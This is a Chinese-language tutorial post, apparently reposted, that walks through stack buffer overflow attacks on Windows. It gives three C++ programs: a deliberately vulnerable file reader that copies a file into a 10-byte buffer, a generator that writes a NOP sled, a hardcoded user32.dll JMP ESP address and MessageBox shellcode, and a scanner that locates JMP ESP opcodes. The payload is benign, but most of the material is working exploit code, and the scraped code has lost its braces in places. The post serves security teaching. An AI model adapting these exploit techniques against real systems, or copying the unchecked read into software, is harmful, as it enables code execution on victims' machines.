溢出攻击的几个实例 (教学用例)

来源:互联网 发布:英文有声小说知乎 编辑:程序博客网 时间:2024/05/22 14:20

第一个实例

---------------------------------------------------------------------------------------

#include "stdafx.h"

#include "test1.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

CWinApp theApp;

using namespace std;

CFile file; 

CFileException er; 

 

void overflow1() 

char buff[10]; 

 

 

int x = file.GetLength(); 

file.Read(buff,x); 

 

 

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) 

 

int nRetCode = 0; 

if(0){

__asm jmp esp;

::MessageBox(NULL,"Overflowing","溢出攻击示例20110613",MB_OKCANCEL);

::exit(0);

}

if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) 

cerr << _T("Fatal Error: MFC initialization failed") << endl; 

nRetCode = 1; 

else 

 

 

if ( atoi(argv[1]) == 1 ) {

if(!file.Open(_T("ov1.txt"),CFile::modeRead,&er)) 

er.ReportError(); 

return 1; 

overflow1(); 

}

else if ( atoi(argv[1]) == 2 ) {

if(!file.Open(_T("ov2.txt"),CFile::modeRead,&er)) 

er.ReportError(); 

return 1; 

overflow1(); 

}

else if ( atoi(argv[1])== 3 ) {

if(!file.Open(_T("ov.txt"),CFile::modeRead,&er)) 

er.ReportError(); 

return 1; 

overflow1(); 

}

 

return nRetCode;  

 

分析如下,上例中,主要的溢出攻击发生在overflow1函数中。

 

此例主要有三个输入参数:1,2,3。在输入1时,系统读入ov1.txt文件,此文件中最初是26个英文字母。结果当然会导致溢出,系统提示错误信息,大约是“xxxxxxxx地址不能读”错误。根据程序的结构可以看出,此处,xxxxxxxx地址是连续四个字母的ascii码。因此,可以知道溢出时,大约在26个字母的哪个位置,替换了overflow1函数的返回地址。

 

当输入2时,系统读入ov2.txt文件,此时,根据输入1时得到的返回地址位置,输入程序中的if(0)里面调用MessageBox函数的指令的地址,系统应该能够通过堆栈溢出而执行if(0)中的代码,出现一个信息框。

 

当输入3时,系统读入ov.txt文件。注意:要运行输入3,必须先运行test3和test2。 此时,首先要通过test3程序得到jmp esp在内核中的USER32.DLL中的地址,以及MessageBox函数在内核中的地址,并根据上述两个地址,修改test2中的相关数据,然后运行test2,得到输出overflow.txt,拷贝此文件到test1主目录下,修改其名字为ov.txt.

 

此时,系统堆栈溢出,返回地址被修改为USER32.dll中的某jmp esp指令的地址,然后overflow1函数调用返回时,会执行jmp esp指令,并进而执行ov.txt中在jmp esp指令地址之后的代码,相当于执行用户自定义的攻击代码。此例中,是弹出一个messagebox

 

-----------------------------------------------------------------------------------------------------------------------------------------------------

下面是test2和test3的代码

 

test2,此程序主要是生成堆栈溢出攻击的数据文件overflow.txt,主要思想是:根据test1中得到的溢出攻击的返回地址的位置(之前的位置都用0x90填充),首先加入JMP ESP在内核中的地址,然后加入攻击代码,其中包括调用MessageBox函数的代码。

-----------------------------------------------------------------------------------------------------------------------------------------

// test2.cpp : Defines the entry point for the console application.

//

 

#include "stdafx.h"

#include "test2.h"

 

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

 

/////////////////////////////////////////////////////////////////////////////

// The one and only application object

 

CWinApp theApp; 

 

using namespace std; 

 

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) 

int nRetCode = 0; 

 

// initialize MFC and print and error on failure 

if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) 

cerr << _T("Fatal Error: MFC initialization failed") << endl; 

nRetCode = 1; 

else 

char buffer[20]; 

//0x77e2e32a //user32.dll JMP ESP 0x77d5b0e0

//note MessageBox is located at an address started with 0x77xx

char eip[] = "/xe0/xb0/xd5/x77"; 

 

char sploit[] = "/x55/x51/x8b/xec/x83/xec/x54/x33/xc9/xc6/x45/xec/x53/xc6/x45/xed/x75/xc6/x45/xee" 

"/x63/xc6/x45/xef/x63/xc6/x45/xf0/x65/xc6/x45/xf1/x73/xc6/x45/xf2/x73/x88/x4d/xf3/xc6" 

"/x45/xf4/x57/xc6/x45/xf5/x65/xc6/x45/xf6/x20/xc6/x45/xf7/x47/xc6/x45/xf8/x6f/xc6/x45" 

"/xf9/x74/xc6/x45/xfa/x20/xc6/x45/xfb/x49/xc6/x45/xfc/x74/xc6/x45/xfd/x21/x88/x4d/xfe" 

"/x51/x8d/x45/xec/x50/x8d/x45/xf4/x50/x51/xc7/x45/xe8/x8a/x05/xd5/x77/xff/x55/xe8/x8b" 

"/xe5/x59/x5d/x55/x51/x8b/xec/x83/xec/x10/x33/xc9/x51/xc7/x45/xfc/xab/xc0/x20/x10/xff" 

"/x55/xfc/x8b/xe5/x59/x5d"; 

for(int x=0;x<16;x++) 

buffer[x] = 0x90; 

 

CFile file; 

file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite); 

 

file.Write(buffer,16); 

file.Write(eip,strlen(eip)); 

file.Write(sploit,strlen(sploit)); 

 

file.Close(); 

 

return nRetCode; 

 

---------------------------------------------------------------------------------------------------------------

 

test3,主要功能是在USER32.dll的内存映像中,寻找JMP ESP指令存在的地址。

 

--------------------------------------------------------------------------------------------------------------

 

// test3.cpp : Defines the entry point for the console application.

//

 

#include "stdafx.h"

#include "test3.h"

 

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

 

/////////////////////////////////////////////////////////////////////////////

// The one and only application object

 

CWinApp theApp; 

 

using namespace std; 

 

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) 

int nRetCode = 0; 

 

// initialize MFC and print and error on failure 

if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) 

// TODO: change error code to suit your needs 

cerr << _T("Fatal Error: MFC initialization failed") << endl; 

nRetCode = 1; 

else 

#if 0 

return 0; 

__asm jmp esp 

 

#else 

 

bool we_loaded_it = false; 

HINSTANCE h; 

TCHAR dllname[] = _T("User32"); 

 

h = GetModuleHandle(dllname); 

if(h == NULL) 

h = LoadLibrary(dllname); 

if(h == NULL) 

cout<<"ERROR LOADING DLL: "<<dllname<<endl; 

return 1; 

we_loaded_it = true; 

 

BYTE* ptr = (BYTE*)h; 

bool done = false; 

for(int y = 0;!done;y++) 

try 

if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) 

int pos = (int)ptr + y; 

cout<<"OPCODE found at 0x"<<hex<<pos<<endl; 

catch(...) 

cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; 

done = true; 

 

if(we_loaded_it) FreeLibrary(h); 

#endif 

return nRetCode; 

----------------------------------------------------------------------------------------------------------------------------------------------------

 

 

原创粉丝点击